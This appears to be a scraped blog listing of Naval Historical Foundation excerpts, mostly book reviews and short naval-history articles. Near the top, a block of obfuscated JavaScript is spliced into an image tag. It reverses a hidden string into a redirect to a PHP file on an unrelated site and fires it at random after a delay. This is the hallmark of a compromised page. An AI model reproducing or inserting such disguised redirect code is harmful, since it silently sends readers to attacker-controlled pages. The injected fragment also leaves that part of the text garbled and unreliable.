Military History

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory.org/wp-content/uploads/2022/02/41FAi4BTMHL._SX331_BO1204203200_.jpg” alt=”” class=”wp-image-25160″ width=”250″ height=”374″/> Reviewed by Charles C. Kolb, Ph.D. This new title from the Naval Institute Press’s series, Studies in Naval History and Sea Power, is written by Christ…

Reviewed by Charles C. Kolb, Ph.D. This new title from the Naval Institute Press’s series, Studies in Naval History and Sea Power, is written by Christopher Buckley, son of Captain David Buckey (USN Retired) and an undergraduate history major from the University of California Santa Cruz, who obtained his doctorate at the University of Salford (UK) in 2013. Genesis of the Grand Fleet, in part, derives from his thesis, Forging the Shaft of the Spear of Victory: The Creation and Evolution of the Home Fleet in the Prewar Era, 1900-1914. Professor Eric John Grove (1948-2021), a distinguished, inspirational, and highly respected naval historian, author, lecturer and televi…

Welcoming the U.S. Atlantic Fleet to Sydney, Australia, August 1908. Artwork by Norman Carter, published in The Sydney Mail, Wednesday, 19 August, 1908. Courtesy of John C. Reilly, Jr.. U.S. Naval History and Heritage Command Photograph. The cruise of the Great White Fleet took the U.S. Navy around the globe in fourteen months on a journey totaling 43,000 miles. They visited twenty unique port calls across six continents. It was a monumental “show of flag” for the burgeoning world power. The fleet showcased the naval and maritime capabilities of its new “Steel Navy” to nations around the world. Here are ten interesting facts about the historic around-the-world cruise. …

Reviewed by David F. Winkler, Ph.D. Paul Stillwell has filled one of the remaining voids in the bibliographic study of America’s World War II naval leadership with his well-written narrative of Vice Adm. Willis A. “Ching” Lee who was entrusted with command of the American battleline during the Pacific war against Japan. Such a position, merely a decade earlier, would have placed him at the pantheon of American naval leadership during the war. Yet with aircraft carriers supplanting battleships as the primary capital ship in the wake of Pearl Harbor, the big-gun combatants would be relegated to shore bombardment and fleet air defense duties. There were some not…

By Leo J. Daugherty III The late Professor Edgar F. Puryear, Jr., who until his death in 2018 was scholar-in-residence at the National Defense University and an authority on American generalship, outlined in his book Marine Corps Generalship (National Defense University, 2009) the three critical components that define Marine leadership in time of war. The first of these components is that the position of command is a lonely one. Generals as well as field grade officers are likewise subject to the same strains and stresses accompanying the execution of military operations. Generals make mistakes. This can be seen in the case of Lieutenant General Holland M. Smith a…

By Dennis A. Steenbergen, Landing Craft Support Museum 15 February is the anniversary of the loss of three LCS ships to Shin’yō suicide boats at Mariveles Bay during the liberation of the Philippines. U.S. forces were massing in February 1945 to launch an amphibious and land attack on the Bataan Peninsula and Corregidor. Mr. Steenbergen has an intense personal connection to the loss of these ships, which is discussed in the post that follows. A group of six Landing Craft Support (LCS) ships was readying to provide gunfire support for an amphibious landing at Mariveles when fast Japanese motorboats known as the Shin’yō-class came speeding out of the darkness and s…

Reviewed by Master Chief David Mattingly, US Navy (Retired) Rear Admiral Dave Oliver spent a career as a submarine officer, a leader within the Navy and Department of Defense, and as an executive in several Fortune 500 companies. He has been a writer about leadership most notably Lead On! A Practical Guide to Leadership published in 1992. In Lead On he introduced the reader to the concept where he compares his Bronze Rules to the metal bronze, which is strong, highly resistant to corrosion, and can withstand challenges. In Lead On and Bronze Rules, Admiral Oliver uses sea stories to present leadership concepts that are applicable to small units as well as large milita…

Reviewed by Charles C. Kolb, Ph.D. James G. Stavridis, a distinguished graduate of the U.S. Naval Academy, Class of 1976, who majored in English and would ultimately rise to four-star admiral, spent 37 years as a surface warfare officer on active service in the U.S. Navy. He commanded destroyers (USS Barry and subsequently Destroyer Squadron 21) and Enterprise Carrier Strike Group, which conducted combat operations in the Persian Gulf in support of both Operation Iraqi Freedom and Operation Enduring Freedom. He was the first Navy officer to command the United States Southern Command and became NATO’s 16th Supreme Allied Commander Europe (SACEUR) 2009-2013. Admiral …

In this episode of Second Saturday, we commemorate the centennial of the signing of this monumental arms control treaty. U.S. Army Command and General Staff College professor Dr. John T. Kuehn, who has written extensively on the General Board of the Navy, will offer a brief of the conference proceedings. This will be followed by commentary and discussion with 2021 NHF Knox Medal recipient Dr. Tom Hone and Naval War College associate professor Dr. Ryan Wadle, author of Selling Seapower: Public Relations and the U.S. Navy, 1917-1941. The post Blog first appeared on Naval Historical Foundation. View the full article

Reviewed by John Grady The weeks long gruesome land battle by Marines and soldiers to take mountainous Saipan included a doomed but deadly Banzai charge of Japanese soldiers followed by mass civilian suicides rather than surrender to the Americans. Those two events are often what is remembered most in the struggle to control the most heavily defended island by the Japanese in the Marianas in the summer of 1944, a battle waged at the same time as Allied forces were fighting to expand their foothold in France and end the stalemate in Italy. The resultant Seabee grading of Saipan and Tinian for airfields paired with the effect on naval events in the skies and waters hund…

Reviewed by Ed Calouro A long evolutionary arc traces the design and development of metal battleships. It generally dates to the Battle of Hampton Roads in 1862 between the ironclads USS Monitor and the CSS Merrimack (Virginia). Surely, the behemoth super dreadnoughts of the Yamato-class sit at the apogee of this arc. At 63,315 tons standard displacement (Jane’s Fighting Ships), the Yamato and Musashi were the biggest battleships ever built. Their 18.1-inch/45 caliber Type 94 guns were the largest ever mounted on a battleship, though the Royal Navy placed 18-inch/40 caliber guns on the large light cruiser HMS Furious and the monitors HMS General Wolf and Lord Clive du…

“The President of the United States of America takes pleasure in presenting the Navy Cross to Mess Attendant First Class Doris Miller (NSN:3561235) United States Navy, for exceptional courage, presence of mind, and devotion to duty and disregard for his personal safety while serving on board the Battleship USS WEST VIRGINIA (BB-48), during the Japanese attack on the United States Pacific Fleet in Pearl Harbor, Territory of Hawaii, on 7 December 1941. While at the side of his Captain on the bridge of the battleship USS West Virginia, Mess Attendant First Class Doris Miller, despite enemy strafing and bombing and in the face of a serious fire, assisted in moving his Captain…

Reviewed by CAPT Richard Dick, USN (Ret.) Donald Collingwood’s Captain Class Frigates is both a history of a class of escorts important in the latter stages of World War II and also a fond memoir of both ships and men. Collingwood himself served in the Captain-class H.M.S. Cubitt from 1943 to 1946 in the Atlantic and the English Channel. He joined the Royal Navy in 1937 and retired in 1961, first publishing The Captain Class Frigates in the Second World War in 1999. His book is a deeply researched, objective, and painstakingly complete history of all 78 American-built destroyer escorts which served in the Royal Navy under Lend-Lease as Captain-class frigates. …

Reviewed by Jeff Schultz Derek Walters’s The History of the British ‘U’ Class Submarine fills a gap in the historiography of World War II regarding short-range Allied submarine operations. In particular, Walters profiles the small ‘U’ (and ‘V’) class and their use by British and seven other Allied nations both during and after the conflict. Walters spent a decade as a Royal Navy submariner who served aboard HMS Talent and later spent 30 years in the Derbyshire Constabulary, rising to the rank of Superintendent. After authoring a number of articles, this book, which honors the efforts of the gallant submariners who fought and died some eight decades ago, is his fi…

Reviewed by Nicholas M. Anthony Jr., Ph.D., USA (Ret.) The Roman statesman, lawyer, scholar, philosopher, and academic skeptic Marcus Tullius Cicero stated that “Poor is the nation that has no heroes, but poorer still is the nation that having heroes, fails to remember and honor them.” In his first book, A Forgotten Campaign: The British Armed Forces in France 1940, From Dunkirk to the Armistice, British military historian and civil-military relations specialist Paul Fantom magnificently sets the record straight regarding the proverbial “rest of the story” concerning what happened after the much appreciated and highly publicized “Miracle of Dunkirk.” A plethora of boo…

Reviewed by Ed Calouro Most histories of World War II at sea rightly focus on the United States, Great Britain, Japan, and Germany. After all, these nations’ navies did the bulk of the fighting. The French, Italian, and other fleets generally receive short shrift. John Jordan and Robert Dumas have shifted the spotlight in their reissued French Battleships, 1922-1956. Originally published in 2009, the 2020 release is a high quality, superior stock paperback, the type readers expect from Seaforth Publishing. This is a first-rate history of the four modern fast capital ships of the Marine Nationale and is a superb presentation of the Dunkerque– and Richelieu-class ba…

Reviewed by Ellen A. Ahlness, PhD All Present and Accounted For is a comprehensive, well-researched, and well-narrated case study in U.S. Coast Guard History. Throughout his narration of this disastrous grounding, Craig ensures the historical rendering is never sterile; instead, it maintains an eye to the human experience of a complicated event in U.S. Military history. The book is divided into two parts, together comprising a total of twelve chapters. It also features an introduction, epilogue, final comments, and appendices. The inclusion of extensive supplemental information—including poetry, first-person accounts, images, informational visuals, and ship specif…

We are joined today by former MCPON Mike Stevens, the 13th Master Chief Petty Officer of the Navy, and FLTCM April Beldo-Lilley to weigh in on the subject. The post Blog first appeared on Naval Historical Foundation. View the full article

We are joined today by former MCPON Mike Stevens, the 13th Master Chief Petty Officer of the Navy, and FLTCM April Beldo-Lilley. The post Blog first appeared on Naval Historical Foundation. View the full article

By CWO-4 Lester B. Tucker, USN (Ret.) Originally Published in Pull Together Vol. 32 No. 1 (Spring/Summer 1993) It is a sure bet that one of the proudest days in an enlisted individual’s naval service is the date on which a first-class petty officer dons the uniform and is accepted into the Chief Petty Officer community. At this time, the PO1’s leadership and professional abilities are recognized by superiors. These qualities continue to be honed with experience and maturity until retirement. This article covers the history of the grade of Chief Petty Officer. April 1, 1993, marked the 100th anniversary of the creation of that grade. It is necessary, however, t…